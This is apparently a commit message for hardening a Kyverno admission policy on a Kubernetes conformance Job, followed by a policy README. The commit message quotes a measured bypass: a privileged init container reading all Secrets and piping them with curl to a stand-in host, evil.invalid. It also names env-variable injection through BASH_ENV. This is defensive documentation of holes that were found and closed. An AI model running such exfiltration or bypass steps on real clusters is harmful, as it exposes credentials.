Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
platform/kyverno — L0 policy-as-code gate & admission enforcer (T-0.5)
Kyverno is the platform's L0 static/policy gate (in CI, no cluster) and its
in-cluster admission enforcer (ADR-0011, docs/14, docs/07). The policies here
encode spec invariants as code: they run in CI as a merge gate today (Phase 0, no
cluster) and the same policies are wired to run in-cluster as an admission controller
later (Phase 2, admission/).
Enforcement complements, never replaces, behavior tests. A policy admitting a manifest is not proof the runtime behaves (R-TEST-01). The L2/L3 Chainsaw behavior + fault-injection tests remain mandatory. See
admission/README.md.
Layout
platform/kyverno/
├── README.md # this file: policy→requirement map + CI entrypoint
├── labels.md # label/annotation convention (PROPOSED contract — escalated)
├── policies/ # ClusterPolicies (authored once; CI + admission)
│ ├── require-default-deny-baseline.yaml # R-NET-01 (generate baseline)
│ ├── validate-default-deny-shape.yaml # R-NET-01 (reject malformed baseline)
│ ├── disallow-plaintext-secrets.yaml # R-SEC-01 (CI-only: sops block required)
│ ├── restrict-host-namespaces.yaml # R-SEC-02 (+R-NET-01 bypass guard)
│ ├── require-egress-class-label.yaml # R-NET-05
│ ├── require-auth-mode-label.yaml # R-IDP-02
│ └── label-cdi-worker-pods.yaml # R-NET-05+R-IDP-02 (mutate: CDI's own worker pods)
├── servicedefinition/ # ServiceDefinition shape validation (kyverno-json)
│ ├── validate-servicedefinition.yaml # R-GITOPS-02
│ ├── payloads/ (valid-* / invalid-*) # pass & fail fixtures
│ └── README.md
├── tests/ # `kyverno test` suite — runnable L0 tests NOW, no cluster
│ ├── kyverno-test.yaml # policies × fixtures × expected results
│ ├── resources/ (good-* / bad-* fixtures + generated golden)
│ └── controller-worker-pods/ # the CDI-worker mutation, proven BOTH ways
│ ├── kyverno-test.yaml # 2 Tests: cdi-sa requester vs ordinary requester
│ ├── userinfo-cdi-sa.yaml / userinfo-ordinary.yaml
│ └── resources/ + patched/ # real + FORGED importer pods; expected patch
├── admission/ # in-cluster enforcing bundle (scaffolding, T-2.7)
│ ├── namespace.yaml · helmrelease.yaml · kustomization.yaml
│ ├── secret-provenance.yaml # R-SEC-01 admission variant (provenance)
│ └── README.md
└── scripts/run-l0.sh # the single-command CI entrypoint for the gate
Policy → requirement map
| Policy / artifact | Rule(s) | Requirement | Spec source | Behaves |
|---|---|---|---|---|
require-default-deny-baseline |
generate-default-deny |
R-NET-01 | docs/03 default-deny baseline | Every app namespace auto-gets a deny-all (ingress+egress, DNS-only) NetworkPolicy |
validate-default-deny-shape |
baseline-must-deny-both-directions |
R-NET-01 | docs/03 | A baseline that leaves a direction open is rejected |
disallow-plaintext-secrets |
secrets-must-be-sops-encrypted |
R-SEC-01 | docs/07, docs/05, ADR-0007 | Committed Secrets must be SOPS-encrypted (sops block); plaintext rejected. CI-only |
restrict-host-namespaces |
disallow-host-namespaces, disallow-privileged-containers |
R-SEC-02 (+R-NET-01) | docs/07 least reach | App pods can't use hostNetwork/PID/IPC or privileged (would bypass default-deny) |
require-egress-class-label |
require-egress-class |
R-NET-05 | docs/03, docs/13 | App pods must declare egress-class ∈ {internet,vpn} |
require-auth-mode-label |
require-auth-mode |
R-IDP-02 | docs/13, docs/15 | App pods must declare auth-mode ∈ {oidc,forward-auth,native,none} |
label-cdi-worker-pods (mutate) |
add-worker-pod-labels |
R-NET-05, R-IDP-02 | docs/03, docs/13 | CDI's controller-generated worker pods (importer-*/uploader-*/cloner-*, created by SA cdi/cdi-sa) get egress-class: internet + auth-mode: none added, so they satisfy the two policies above instead of being exempted from them. Matched on the generating ServiceAccount, never a pod-name prefix |
validate-servicedefinition (kyverno-json) |
shape / dependencies / storage | R-GITOPS-02 | docs/13 (+03,15) | ServiceDefinition is schema/invariant valid before render; public⇒not none auth |
admission/secret-provenance |
secrets-must-be-flux-managed |
R-SEC-01 | docs/07 | Admission-only variant: app-ns Secrets must come from Flux/SOPS (see below) |
Coverage of the T-0.5 requirement set: R-TEST-01 (behavior-tagged, reproducible
tests — this whole suite), R-NET-01, R-SEC-01, R-SEC-02, R-IDP-02,
R-NET-05, R-GITOPS-02. Every policy carries its R-* IDs in the
homelab.keithjackson.dev/requirements annotation so the coverage report can pick
them up automatically.
CI entrypoint (the L0 gate)
CI (WS-GITOPS .gitea/workflows, then Gitea Actions) runs the single command:
platform/kyverno/scripts/run-l0.sh
which performs, with pinned tool versions (KYVERNO_VERSION, KYVERNO_JSON_VERSION):
# 1) ClusterPolicy tests — offline, no cluster
kyverno test platform/kyverno/tests
# 2) ServiceDefinition validation — offline, no cluster
kyverno-json scan --policy platform/kyverno/servicedefinition/validate-servicedefinition.yaml \
--payload <each catalog/ ServiceDefinition and the valid-* fixtures> # must pass
# plus each invalid-* fixture must be REJECTED (script asserts non-zero exit)
kyverno test emits pass/fail per policy×rule×resource and supports JUnit output for
the coverage/merge gate:
kyverno test platform/kyverno/tests --output junit > results/kyverno-l0.junit.xml
Exit non-zero fails the merge gate (docs/14 gating rules). Deterministic, hermetic,
self-contained — no cluster, no external state (reproducibility contract, R-TEST-02).
Notes / handoffs
- Label keys are a proposed contract (
labels.md) shared with WS-NET / WS-SEC / WS-GITOPS. Values are spec-fixed; keys need owner sign-off (coordination-protocol §2). - Controller-generated pods are a cold-start hazard. A policy that matches any Pod in an
app namespace also matches pods that no manifest in git authors. Prod hit this on 2026-09-06:
require-auth-mode-label+require-egress-class-labeldenied CDI's ownimporter-prime-*pod, soDataVolume unifi/unifi-rootdiskstuck inImportScheduledand the UniFi VM had no disk. Fix:policies/label-cdi-worker-pods.yamlmutates those pods to carry truthful labels (matched on the generating ServiceAccountcdi/cdi-sa), rather than excluding them.virt-launcher-*pods need nothing — they inherit the VM pod-template labels. KubeVirt hotplug (hp-volume-*) and export (virt-export-*) pods do not inherit them and are unused here; extend the same policy if either is adopted. PolicyExceptionis NOT usable in this install: the Kyverno admission/background/reports controllers all run--enablePolicyException=false(chart default, verified on prod 2026-09-06). The CRD exists (from the pre-applied CRD bundle) so aPolicyExceptionwould APPLY cleanly and be silently ignored — a policy hole that looks like a fix and isn't.- Secrets CI vs admission divergence is deliberate and documented in
admission/README.mdandpolicies/disallow-plaintext-secrets.yaml. - The ServiceDefinition JSON Schema (WS-GITOPS T-0.3) is the complementary structural
contract; this Kyverno policy encodes the invariants from
docs/13. - Tool availability: neither
kyvernonorkyverno-jsonis installed on the WS-TEST workstation, so this suite was authored but not executed here; the CI agent (T-0.2/T-0.4 harness) runsscripts/run-l0.shas the gate.